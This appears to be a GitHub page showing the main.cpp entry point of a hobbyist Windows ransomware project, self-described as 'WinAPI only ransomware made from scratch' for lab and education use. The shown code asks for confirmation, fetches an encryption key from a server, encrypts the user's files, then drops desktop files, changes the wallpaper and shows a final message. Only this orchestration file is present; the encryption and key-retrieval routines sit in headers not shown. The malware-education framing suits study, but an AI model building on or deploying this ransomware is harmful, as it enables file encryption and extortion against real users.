-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathmain.cpp
More file actions
45 lines (39 loc) · 1.22 KB
/
Copy pathmain.cpp
File metadata and controls
45 lines (39 loc) · 1.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
############################################
# Copyright 2023 Panagiotis (MalwarePad) #
# WinAPI only ransomware made from scratch #
############################################
*/
#include "HandleInstallation.h"
#include "GetEncryptionKey.h"
#include "DecryptionPrompt.h"
#include "PostEncryption.h"
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
// Warning
if (MessageBox(
NULL,
L"You're about to execute obvious malware designed for lab testing and education purposes. This sample will encrypt all of your files with a private key provided by a server. Do you want to proceed?",
L"Warning!",
MB_YESNO | MB_ICONWARNING
) == IDNO) {
MessageBox(NULL, L"Voided any damage being made! Aborting!", L"Phew...", MB_OK | MB_ICONASTERISK);
return 1;
}
// Fetch private key
std::string privateKey;
if (!getEncryptionKey(&privateKey)) { // program has probably already been ran
initiateDecryptionPrompt();
return 0;
};
// Try encrypting
if (!handleInstallation(privateKey, TRUE)) {
MessageBox(NULL, L"Encryption method failed!", NULL, NULL);
return 0;
}
// Post-encryption payloads
dropDesktopFiles();
changeWallpaper();
finalMessageBox();
return 1;
}